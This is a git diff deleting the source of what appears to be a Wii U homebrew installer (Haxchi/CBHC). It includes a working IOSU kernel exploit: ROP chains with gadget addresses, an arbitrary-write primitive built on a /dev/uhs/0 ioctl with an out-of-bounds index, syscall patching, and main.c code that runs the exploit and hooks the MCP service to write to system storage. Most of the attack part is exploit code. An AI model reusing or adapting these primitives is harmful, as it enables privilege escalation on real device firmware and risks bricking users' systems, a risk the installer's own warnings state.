set_panic_behavior (arbitrary write) - 0x0, // 0x140 - 0x0, // 0x144 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0x00000000, // 0x150 value: NOP - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3 - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0x1AFFFFFD, // 0x150 value: BNE clean_loop - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4 - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE1A03004, // 0x184 value: MOV R3, R4 - 0x0, // 0x188 - 0x10123a8b, // 0x18C POP {R3,R4,PC} - 0x1, // 0x190 R3 must be 1 for the arbitrary write - 0x0, // 0x194 - 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x19C - 0x0, // 0x1A0 - 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) - 0x0, // 0x1A8 - 0x0, // 0x1AC - 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE8BD4010, // 0x184 value: POP {R4,LR} - 0x0, // 0x188 - 0x10123a8b, // 0x18C POP {R3,R4,PC} - 0x1, // 0x190 R3 must be 1 for the arbitrary write - 0x0, // 0x194 - 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x19C - 0x0, // 0x1A0 - 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) - 0x0, // 0x1A8 - 0x0, // 0x1AC - 0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE12FFF13, // 0x1B8 value: BX R3 our code :-) - 0x0, // 0x1BC - 0x10123a8b, // 0x1C0 POP {R3,R4,PC} - 0x1, // 0x1C4 R3 must be 1 for the arbitrary write - 0x0, // 0x1C8 - 0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x1D0 - 0x0, // 0x1D4 - 0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write) - 0x0, // 0x1DC - 0x0, // 0x1E0 - 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} - REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64 - 0x4001, // 0x1E0 on > 0x4000 it flushes all data caches - 0x0, // 0x1E0 - 0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len) - 0x0, // 0x1DC - 0x0, // 0x1E0 - 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} - ARM_CODE_BASE, // 0x1E8 our code destination address - 0x0, // 0x1EC - 0x0, // 0x1F0 - 0x101063db, // 0x1F4 POP {R1,R2,R5,PC} - 0x0, // 0x1F8 - sizeof(arm_kernel_bin), // 0x1FC our code size - 0x0, // 0x200 - 0x10123983, // 0x204 POP {R1,R3,R4,R6,PC} - 0x01E40000, // 0x208 our code source location - 0x08131D04, // 0x20C KERNEL_MEMCPY address - 0x0, // 0x210 - 0x0, // 0x214 - 0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot) - 0x0, - 0x0, - 0x101312D0, -}; - -static const int second_chain[] = { - 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} - CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination - 0x0, // 0x08 - 0x0, // 0x0C - 0x101063db, // 0x10 POP {R1,R2,R5,PC} - 0x01E30000, // 0x14 source - sizeof(final_chain), // 0x18 length - 0x0, // 0x1C - 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} - 0x0, // 0x24 - 0x0, // 0x28 - 0x101236f3, // 0x2C POP {R1-R7,PC} - 0x0, // 0x30 arg - 0x101001DC, // 0x34 stackptr - 0x68, // 0x38 stacksize - 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} - 0x0, // 0x40 - 0x0, // 0x44 - 0x0, // 0x48 - 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} - 0x0, // 0x50 - 0x0, // 0x54 - 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x5C - 0x0, // 0x60 - IOS_CREATETHREAD, // 0x64 - 0x1, // 0x68 priority - 0x2, // 0x6C flags - 0x0, // 0x70 - 0x0, // 0x74 - 0x101063db, // 0x78 POP {R1,R2,R5,PC} - 0x0, // 0x7C - -(0x240 + 0x18 + 0xF000), // 0x80 stack offset - 0x0, // 0x84 - 0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC} - 0x0, - 0x0, - 0x0, - 0x00110000 - 0x44, // 0x8C - 0x00110010, // 0x90 - 0x0, // 0x94 - 0x0, // 0x98 - 0x0, // 0x9C - 0x0, // 0xA0 - 0x0, // 0xA4 - 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack - 0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC} - 0x0, - 0x0, - 0x1012EA68, // 0xAC stack pivot -}; - -static int dev_uhs_0_handle = -1; -void IOSUExploit() -{ - dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); //! Open /dev/uhs/0 IOS node - uhs_exploit_init(); //! Init variables for the exploit - - //!------ROP CHAIN------- - - uhs_write32(CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20); - uhs_write32(CHAIN_START + 0x10, 0x1011814C); - uhs_write32(CHAIN_START + 0xC, SOURCE); - - uhs_write32(CHAIN_START, 0x1012392b); // pop {R4-R6,PC} - - IOS_Close(dev_uhs_0_handle); -} - -void uhs_exploit_init() -{ - //! Clear out our used MEM1 area - memset((void*)0xF5E00000, 0, 0x00070000); - DCStoreRange((void*)0xF5E00000, 0x00070000); - - //!------Variables used in exploit------ - int *pretend_root_hub = (int*)0xF5E60640; - int *ayylmao = (int*)0xF5E00000; - //!------------------------------------- - - ayylmao[5] = 1; - ayylmao[8] = 0x1E00000; - - memcpy((char*)(0xF5E20000), second_chain, sizeof(second_chain)); - memcpy((char*)(0xF5E30000), final_chain, sizeof(final_chain)); - memcpy((char*)(0xF5E40000), arm_kernel_bin, sizeof(arm_kernel_bin)); - memcpy((char*)(0xF5E50000), arm_user_bin, sizeof(arm_user_bin)); - - pretend_root_hub[33] = 0x1E00000; - pretend_root_hub[78] = 0; - - //! Store current CPU cache into main memory for IOSU to read - DCStoreRange(ayylmao, 0x840); - - DCStoreRange((void*)0xF5E20000, sizeof(second_chain)); - DCStoreRange((void*)0xF5E30000, sizeof(final_chain)); - DCStoreRange((void*)0xF5E40000, sizeof(arm_kernel_bin)); - DCStoreRange((void*)0xF5E50000, sizeof(arm_user_bin)); - - DCStoreRange(pretend_root_hub, 0x160); -} - -int uhs_write32(int arm_addr, int val) -{ - //!------Variables used in exploit------ - int *ayylmao = (int*)0xF5E00000; - //!------------------------------------- - - ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes - DCStoreRange(ayylmao, 0x840); //! Store current CPU cache into main memory for IOSU to read - OSSleepTicks(0x200000); //! Wait for caches to refresh over in IOSU - //! index 0 is at 0x10149A6C, each index is 0x144 bytes long, so 0x10149A6C - (0x144*0xB349B) = 0x1E60640, - //! which is the physical address of 0xF5E60640 for us, right at the end of MEM1 - int request_buffer[] = { -(0xB349B), val }; - int output_buffer[32]; - return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); -} diff --git a/installer/src/exploit.h b/installer/src/exploit.h deleted file mode 100644 index f067635..0000000 --- a/installer/src/exploit.h +++ /dev/null @@ -1,9 +0,0 @@ - -#ifndef _EXPLOIT_H_ -#define _EXPLOIT_H_ - -void IOSUExploit(); -void uhs_exploit_init(void); -int uhs_write32(int, int); - -#endif diff --git a/installer/src/gameList.h b/installer/src/gameList.h deleted file mode 100644 index 82d9544..0000000 --- a/installer/src/gameList.h +++ /dev/null @@ -1,106 +0,0 @@ - -#ifndef _GAMELIST_H_ -#define _GAMELIST_H_ - -#include "zipList.h" - -typedef struct _gList_t { - uint32_t tid; - char name[64]; - u8 *romPtr; - u32 *romSizePtr; -} gList_t; - -gList_t GameList[] = { - { 0x10179A00, "Kawashima: Motto Nou wo Kitaeru Otona no DS Training [JPN]", brainage_zip, &brainage_zip_size }, - { 0x10179B00, "Brain Age: Train Your Brain in Minutes a Day! [USA]", brainage_zip, &brainage_zip_size }, - { 0x10179C00, "Dr. Kawashima's Brain Training [PAL]", brainage_zip, &brainage_zip_size }, - - { 0x10179D00, "Catch! Touch! Yoshi! [JPN]", yoshitouchandgo_zip, &yoshitouchandgo_zip_size }, - { 0x10179E00, "Yoshi Touch & Go [USA]", yoshitouchandgo_zip, &yoshitouchandgo_zip_size }, - { 0x10179F00, "Yoshi Touch & Go [PAL]", yoshitouchandgo_zip, &yoshitouchandgo_zip_size }, - - { 0x10195600, "Mario Kart DS [JPN]", mariokartds_zip, &mariokartds_zip_size }, - { 0x10195700, "Mario Kart DS [USA]", mariokartds_zip, &mariokartds_zip_size }, - { 0x10195800, "Mario Kart DS [PAL]", mariokartds_zip, &mariokartds_zip_size }, - - { 0x10195900, "New Super Mario Bros. [JPN]", newsmb_zip, &newsmb_zip_size }, - { 0x10195A00, "New Super Mario Bros. [USA]", newsmb_zip, &newsmb_zip_size }, - { 0x10195B00, "New Super Mario Bros. [PAL]", newsmb_eur_zip, &newsmb_eur_zip_size }, - - { 0x10198800, "Yoshi's Island DS [JPN]", yoshids_zip, &yoshids_zip_size }, - { 0x10198900, "Yoshi's Island DS [USA]", yoshids_zip, &yoshids_zip_size }, - { 0x10198A00, "Yoshi's Island DS [PAL]", yoshids_zip, &yoshids_zip_size }, - - { 0x10198B00, "Yawaraka Atama Juku [JPN]", bigbrainacademy_zip, &bigbrainacademy_zip_size }, - { 0x10198C00, "Big Brain Academy [USA]", bigbrainacademy_zip, &bigbrainacademy_zip_size }, - { 0x10198D00, "Big Brain Academy [PAL]", bigbrainacademy_zip, &bigbrainacademy_zip_size }, - - { 0x101A1E00, "Sawaru: Made in Wario [JPN]", wwtouched_zip, &wwtouched_zip_size }, - { 0x101A1F00, "WarioWare: Touched! [USA]", wwtouched_zip, &wwtouched_zip_size }, - { 0x101A2000, "WarioWare: Touched! [PAL]", wwtouched_zip, &wwtouched_zip_size }, - - { 0x101A2100, "Mario & Luigi RPG 2x2 [JPN]", partnersintime_zip, &partnersintime_zip_size }, - { 0x101A2200, "Mario & Luigi: Partners in Time [USA]", partnersintime_zip, &partnersintime_zip_size }, - { 0x101A2300, "Mario & Luigi: Partners in Time [PAL]", partnersintime_zip, &partnersintime_zip_size }, - - { 0x101A5200, "Donkey Kong: Jungle Climber [JPN]", dkjclimber_zip, &dkjclimber_zip_size }, - { 0x101A5300, "DK: Jungle Climber [USA]", dkjclimber_zip, &dkjclimber_zip_size }, - { 0x101A5400, "Donkey Kong: Jungle Climber [PAL]", dkjclimber_zip, &dkjclimber_zip_size }, - - { 0x101A5500, "Hoshi no Kirby: Sanjou! Dorocche Dan [JPN]", kirby_zip, &kirby_zip_size }, - { 0x101A5600, "Kirby: Squeak Squad [USA]", kirby_zip, &kirby_zip_size }, - { 0x101A5700, "Kirby: Mouse Attack [PAL]", kirby_zip, &kirby_zip_size }, - - { 0x101ABD00, "Kaitou Wario the Seven [JPN]", masterofdisguise_zip, &masterofdisguise_zip_size }, - { 0x101ABE00, "Wario: Master of Disguise [USA]", masterofdisguise_zip, &masterofdisguise_zip_size }, - { 0x101ABF00, "Wario: Master of Disguise [PAL]", masterofdisguise_zip, &masterofdisguise_zip_size }, - - { 0x101AC000, "Star Fox Command [JPN]", sfcommand_zip, &sfcommand_zip_size }, - { 0x101AC100, "Star Fox Command [USA]", sfcommand_zip, &sfcommand_zip_size }, - { 0x101AC200, "Star Fox Command [PAL]", sfcommand_zip, &sfcommand_zip_size }, - - { 0x101B8800, "Touch! Kirby's Magic Paintbrush [JPN]", kirbycanvascurse_zip, &kirbycanvascurse_zip_size }, - { 0x101B8900, "Kirby: Canvas Curse [USA]", kirbycanvascurse_zip, &kirbycanvascurse_zip_size }, - { 0x101B8A00, "Kirby: Power Paintbrush [PAL]", kirbycanvascurse_zip, &kirbycanvascurse_zip_size }, - - { 0x101B8B00, "Zelda no Densetsu: Daichi no Kiteki [JPN]", zeldast_zip, &zeldast_zip_size }, - { 0x101B8C00, "The Legend of Zelda: Spirit Tracks [USA]", zeldast_zip, &zeldast_zip_size }, - { 0x101B8D00, "The Legend of Zelda: Spirit Tracks [PAL]", zeldast_zip, &zeldast_zip_size }, - - { 0x101C3300, "Super Mario 64 DS [JPN]", sm64ds_zip, &sm64ds_zip_size }, - { 0x101C3400, "Super Mario 64 DS [USA]", sm64ds_zip, &sm64ds_zip_size }, - { 0x101C3500, "Super Mario 64 DS [PAL]", sm64ds_zip, &sm64ds_zip_size }, - - { 0x101C3600, "Zelda no Densetsu: Mugen no Sunadokei [JPN]", zeldaph_zip, &zeldaph_zip_size }, - { 0x101C3700, "The Legend of Zelda: Phantom Hourglass [USA]", zeldaph_zip, &zeldaph_zip_size }, - { 0x101C3800, "The Legend of Zelda: Phantom Hourglass [PAL]", zeldaph_zip, &zeldaph_zip_size }, - - { 0x101C8600, "Atsumete! Kirby [JPN]", kirbymassattack_zip, &kirbymassattack_zip_size }, - { 0x101C8700, "Kirby Mass Attack [USA]", kirbymassattack_zip, &kirbymassattack_zip_size }, - { 0x101C8800, "Kirby Mass Attack [PAL]", kirbymassattack_zip, &kirbymassattack_zip_size }, - - { 0x101CC200, "Pokemon Ranger [JPN]", pokemonranger_zip, &pokemonranger_zip_size }, - { 0x101CC300, "Pokemon Ranger [USA]", pokemonranger_zip, &pokemonranger_zip_size }, - { 0x101CC400, "Pokemon Ranger [PAL]", pokemonranger_zip, &pokemonranger_zip_size }, - - { 0x101D1F00, "Oideyo Doubutsu no Mori [JPN]", animalcrossing_zip, &animalcrossing_zip_size }, - { 0x101D2000, "Animal Crossing: Wild World [USA]", animalcrossing_zip, &animalcrossing_zip_size }, - { 0x101D2100, "Animal Crossing: Wild World [PAL]", animalcrossing_zip, &animalcrossing_zip_size }, - - { 0x101E0C00, "Pokemon Fushigi no Dungeon: Sora no Tankentai [JPN]", explorersofsky_zip, &explorersofsky_zip_size }, - { 0x101E0D00, "Pokemon Mystery Dungeon: Explorers of Sky [USA]", explorersofsky_zip, &explorersofsky_zip_size }, - { 0x101E0E00, "Pokemon Mystery Dungeon: Explorers of Sky [PAL]", explorersofsky_zip, &explorersofsky_zip_size }, - - { 0x101E0F00, "Pokemon Ranger: Batonnage [JPN]", shadowsofalmia_zip, &shadowsofalmia_zip_size }, - { 0x101E1000, "Pokemon Ranger: Shadows of Almia [USA]", shadowsofalmia_zip, &shadowsofalmia_zip_size }, - { 0x101E1100, "Pokemon Ranger: Shadows of Almia [PAL]", shadowsofalmia_zip, &shadowsofalmia_zip_size }, - - { 0x101E6F00, "Pokemon Ranger: Hikari no Kiseki [JPN]", guardiansigns_zip, &guardiansigns_zip_size }, - { 0x101E7000, "Pokemon Ranger: Guardian Signs [USA]", guardiansigns_zip, &guardiansigns_zip_size }, - { 0x101E7100, "Pokemon Ranger: Guardian Signs [PAL]", guardiansigns_zip, &guardiansigns_zip_size }, -}; - -static const int GameListSize = sizeof(GameList) / sizeof(gList_t); - -#endif diff --git a/installer/src/link.ld b/installer/src/link.ld deleted file mode 100644 index fc569d1..0000000 --- a/installer/src/link.ld +++ /dev/null @@ -1,40 +0,0 @@ -OUTPUT(ftpiiu.elf); - -/* Tell linker where our application entry is so the garbage collect can work correct */ -ENTRY(__entry_menu); - -SECTIONS { - . = 0x00802000; - .text : { - *(.text*); - } - .rodata : { - *(.rodata*); - } - .data : { - *(.data*); - - __sdata_start = .; - *(.sdata*); - __sdata_end = .; - - __sdata2_start = .; - *(.sdata2*); - __sdata2_end = .; - } - .bss : { - __bss_start = .; - *(.bss*); - *(.sbss*); - *(COMMON); - __bss_end = .; - } - __CODE_END = .; - - /DISCARD/ : { - *(*); - } -} - -/******************************************************** FS ********************************************************/ -/* coreinit.rpl difference in addresses 0xFE3C00 */ diff --git a/installer/src/main.c b/installer/src/main.c deleted file mode 100644 index adad11d..0000000 --- a/installer/src/main.c +++ /dev/null @@ -1,871 +0,0 @@ -/* - * Copyright (C) 2016-2017 FIX94 - * - * This software may be modified and distributed under the terms - * of the MIT license. See the LICENSE file for details. - */ -#include -#include -#include -#include -#include -#include -#include -#include -#include "dynamic_libs/os_functions.h" -#include "dynamic_libs/gx2_functions.h" -#include "dynamic_libs/sys_functions.h" -#include "dynamic_libs/vpad_functions.h" -#include "system/memory.h" -#include "common/common.h" -#include "main.h" -#include "exploit.h" -#include "gameList.h" -#include "../payload/wupserver_bin.h" - -static const char *sdCardVolPath = "/vol/storage_sdcard"; -#ifdef CB -static const char *systemXmlPath = "/vol/system/config/system.xml"; -static const char *syshaxXmlPath = "/vol/system/config/syshax.xml"; -#endif -//just to be able to call async -void someFunc(void *arg) -{ - (void)arg; -} - -static int mcp_hook_fd = -1; -int MCPHookOpen() -{ - //take over mcp thread - mcp_hook_fd = MCP_Open(); - if(mcp_hook_fd < 0) - return -1; - IOS_IoctlAsync(mcp_hook_fd, 0x62, (void*)0, 0, (void*)0, 0, someFunc, (void*)0); - //let wupserver start up - sleep(1); - if(IOSUHAX_Open("/dev/mcp") < 0) - return -1; - return 0; -} - -void MCPHookClose() -{ - if(mcp_hook_fd < 0) - return; - //close down wupserver, return control to mcp - IOSUHAX_Close(); - //wait for mcp to return - sleep(1); - MCP_Close(mcp_hook_fd); - mcp_hook_fd = -1; -} - -void println_noflip(int line, const char *msg) -{ - OSScreenPutFontEx(0,0,line,msg); - OSScreenPutFontEx(1,0,line,msg); -} - -void println(int line, const char *msg) -{ - int i; - for(i = 0; i < 2; i++) - { //double-buffered font write - println_noflip(line,msg); - OSScreenFlipBuffersEx(0); - OSScreenFlipBuffersEx(1); - } -} - -typedef struct _parsedList_t { - uint32_t tid; - char name[64]; - char path[64]; - u8 *romPtr; - u32 romSize; -} parsedList_t; - -int fsa_read(int fsa_fd, int fd, void *buf, int len) -{ - int done = 0; - uint8_t *buf_u8 = (uint8_t*)buf; - while(done < len) - { - size_t read_size = len - done; - int result = IOSUHAX_FSA_ReadFile(fsa_fd, buf_u8 + done, 0x01, read_size, fd, 0); - if(result < 0) - return result; - else - done += result; - } - return done; -} - -int fsa_write(int fsa_fd, int fd, void *buf, int len) -{ - int done = 0; - uint8_t *buf_u8 = (uint8_t*)buf; - while(done < len) - { - size_t write_size = len - done; - int result = IOSUHAX_FSA_WriteFile(fsa_fd, buf_u8 + done, 0x01, write_size, fd, 0); - if(result < 0) - return result; - else - done += result; - } - return done; -} - -int availSort(const void *c1, const void *c2) -{ - return strcmp(((parsedList_t*)c1)->name,((parsedList_t*)c2)->name); -} - -void printhdr_noflip() -{ -#ifdef CB - println_noflip(0,"CBHC v1.6 by FIX94"); -#else - println_noflip(0,"Haxchi v2.5u2 by FIX94"); -#endif - println_noflip(1,"Credits to smea, plutoo, yellows8, naehrwert, derrek and dimok"); -} - -int Menu_Main(void) -{ - InitOSFunctionPointers(); - InitSysFunctionPointers(); - InitVPadFunctionPointers(); - VPADInit(); - memoryInitialize(); - - // Init screen - OSScreenInit(); - int screen_buf0_size = OSScreenGetBufferSizeEx(0); - int screen_buf1_size = OSScreenGetBufferSizeEx(1); - uint8_t *screenBuffer = (uint8_t*)MEMBucket_alloc(screen_buf0_size+screen_buf1_size, 0x100); - OSScreenSetBufferEx(0, screenBuffer); - OSScreenSetBufferEx(1, (screenBuffer + screen_buf0_size)); - OSScreenEnableEx(0, 1); - OSScreenEnableEx(1, 1); - OSScreenClearBufferEx(0, 0); - OSScreenClearBufferEx(1, 0); - - int mcp_handle = MCP_Open(); - int count = MCP_TitleCount(mcp_handle); - int listSize = count*0x61; - char *tList = memalign(32, listSize); //cant be in MEMBucket - memset(tList, 0, listSize); - int recievedCount = count; - MCP_TitleList(mcp_handle, &recievedCount, tList, listSize); - MCP_Close(mcp_handle); - - int gAvailCnt = 0; - parsedList_t *gAvail = (parsedList_t*)MEMBucket_alloc(recievedCount*sizeof(parsedList_t), 4); - memset(gAvail, 0, recievedCount*sizeof(parsedList_t)); - - int i, j; - for(i = 0; i < recievedCount; i++) - { - char *cListElm = tList+(i*0x61); - if(memcmp(cListElm+0x56,"mlc",4) != 0 || *(uint32_t*)(cListElm) != 0x00050000) - continue; - for(j = 0; j < GameListSize; j++) - { - if(*(uint32_t*)(cListElm+4) == GameList[j].tid) - { - gAvail[gAvailCnt].tid = GameList[j].tid; - memcpy(gAvail[gAvailCnt].name, GameList[j].name, 64); - memcpy(gAvail[gAvailCnt].path, cListElm+0xC, 64); - gAvail[gAvailCnt].romPtr = GameList[j].romPtr; - gAvail[gAvailCnt].romSize = *(GameList[j].romSizePtr); - gAvailCnt++; - break; - } - } - } - - int vpadError = -1; - VPADData vpad; - - if(gAvailCnt == 0) - { - printhdr_noflip(); - println_noflip(2,"No games found on NAND! Make sure that you have your DS VC"); - println_noflip(3,"game installed on NAND and have all of your USB Devices"); - println_noflip(4,"disconnected while installing Haxchi as it can lead to issues."); - println_noflip(5,"Press any button to return to Homebrew Launcher."); - OSScreenFlipBuffersEx(0); - OSScreenFlipBuffersEx(1); - while(1) - { - usleep(25000); - VPADRead(0, &vpad, 1, &vpadError); - if(vpadError != 0) - continue; - if(vpad.btns_d | vpad.btns_h) - break; - } - OSScreenEnableEx(0, 0); - OSScreenEnableEx(1, 0); - MEMBucket_free(screenBuffer); - memoryRelease(); - return EXIT_SUCCESS; - } - - qsort(gAvail,gAvailCnt,sizeof(parsedList_t),availSort); - - u32 redraw = 1; - s32 PosX = 0; - s32 ScrollX = 0; - - s32 ListMax = gAvailCnt; - if( ListMax > 13 ) - ListMax = 13; - - u32 UpHeld = 0, DownHeld = 0; - while(1) - { - usleep(25000); - VPADRead(0, &vpad, 1, &vpadError); - if(vpadError != 0) - continue; - - if((vpad.btns_d | vpad.btns_h) & VPAD_BUTTON_HOME) - { - OSScreenEnableEx(0, 0); - OSScreenEnableEx(1, 0); - MEMBucket_free(screenBuffer); - memoryRelease(); - return EXIT_SUCCESS; - } - if( vpad.btns_h & VPAD_BUTTON_DOWN ) - { - if(DownHeld == 0 || DownHeld > 10) - { - if( PosX + 1 >= ListMax ) - { - if( PosX + 1 + ScrollX < gAvailCnt) - ScrollX++; - else { - PosX = 0; - ScrollX = 0; - } - } else { - PosX++; - } - redraw = 1; - } - DownHeld++; - } - else - DownHeld = 0; - - if( vpad.btns_h & VPAD_BUTTON_UP ) - { - if(UpHeld == 0 || UpHeld > 10) - { - if( PosX <= 0 ) - { - if( ScrollX > 0 ) - ScrollX--; - else { - PosX = ListMax - 1; - ScrollX = gAvailCnt - ListMax; - } - } else { - PosX--; - } - redraw = 1; - } - UpHeld++; - } - else - UpHeld = 0; - - if( vpad.btns_d & VPAD_BUTTON_A ) - break; - - if( redraw ) - { - OSScreenClearBufferEx(0, 0); - OSScreenClearBufferEx(1, 0); - printhdr_noflip(); - println_noflip(2,"Please select the game for the Installation from the list below."); - // Starting position. - int gamelist_y = 4; - for (i = 0; i < ListMax; ++i, gamelist_y++) - { - const parsedList_t *cur_gi = &gAvail[i+ScrollX]; - char printStr[64]; - sprintf(printStr,"%c %s", i == PosX ? '>' : ' ', cur_gi->name); - println_noflip(gamelist_y, printStr); - } - OSScreenFlipBuffersEx(0); - OSScreenFlipBuffersEx(1); - redraw = 0; - } - } -#ifdef CB - int action = 0; -#endif - const parsedList_t *SelectedGame = &gAvail[PosX + ScrollX]; - for(j = 0; j < 2; j++) - { - OSScreenClearBufferEx(0, 0); - OSScreenClearBufferEx(1, 0); - printhdr_noflip(); - println_noflip(2,"You have selected the following game:"); - println_noflip(3,SelectedGame->name); -#ifdef CB - println_noflip(4,"Press A to install CBHC, B to remove coldboothax, HOME to Exit."); - println_noflip(5,"WARNING, INSTALLING CBHC CAN POTENTIALLY BRICK YOUR SYSTEM!"); - println_noflip(6,"NEVER UNINSTALL OR MOVE THE SELECTED GAME OR YOUR WIIU IS DEAD!"); -#else - println_noflip(4,"This will install Haxchi. To remove it you have to delete and"); - println_noflip(5,"re-install the game. If you are sure press A, else press HOME."); -#endif - OSScreenFlipBuffersEx(0); - OSScreenFlipBuffersEx(1); - usleep(25000); - } - while(1) - { - usleep(25000); - VPADRead(0, &vpad, 1, &vpadError); - if(vpadError != 0) - continue; - //user aborted - if((vpad.btns_d | vpad.btns_h) & VPAD_BUTTON_HOME) - { - OSScreenEnableEx(0, 0); - OSScreenEnableEx(1, 0); - MEMBucket_free(screenBuffer); - memoryRelease(); - return EXIT_SUCCESS; - } - //lets go! - if(vpad.btns_d & VPAD_BUTTON_A) - break; -#ifdef CB - if(vpad.btns_d & VPAD_BUTTON_B) - { - action = 1; - break; - } -#endif - } - -#ifdef CB - //grab this before doing iosu exploit - unsigned long long(*_SYSGetSystemApplicationTitleId)(int sysApp); - OSDynLoad_FindExport(sysapp_handle,0,"_SYSGetSystemApplicationTitleId",&_SYSGetSystemApplicationTitleId); - unsigned long long sysmenuIdUll = _SYSGetSystemApplicationTitleId(0); - char sysmenuId[20]; - memset(sysmenuId, 0, 20); - sprintf(sysmenuId, "%08x%08x", (u32)((sysmenuIdUll>>32)&0xFFFFFFFF),(u32)(sysmenuIdUll&0xFFFFFFFF)); - char new_title_id[20]; - memset(new_title_id, 0, 20); - sprintf(new_title_id, "00050000%08x", SelectedGame->tid); - int line = 7; -#else - int line = 6; -#endif - - int fsaFd = -1; - int sdMounted = 0; - int sdFd = -1, mlcFd = -1, slcFd = -1; - - //open up iosuhax - int res = IOSUHAX_Open(NULL); - if(res < 0) - res = MCPHookOpen(); - if(res < 0) - { - println(line++,"Doing IOSU Exploit..."); - *(volatile unsigned int*)0xF5E70000 = wupserver_bin_len; - memcpy((void*)0xF5E70020, &wupserver_bin, wupserver_bin_len); - DCStoreRange((void*)0xF5E70000, wupserver_bin_len + 0x40); - IOSUExploit(); - //done with iosu exploit, take over mcp - if(MCPHookOpen() < 0) - { - 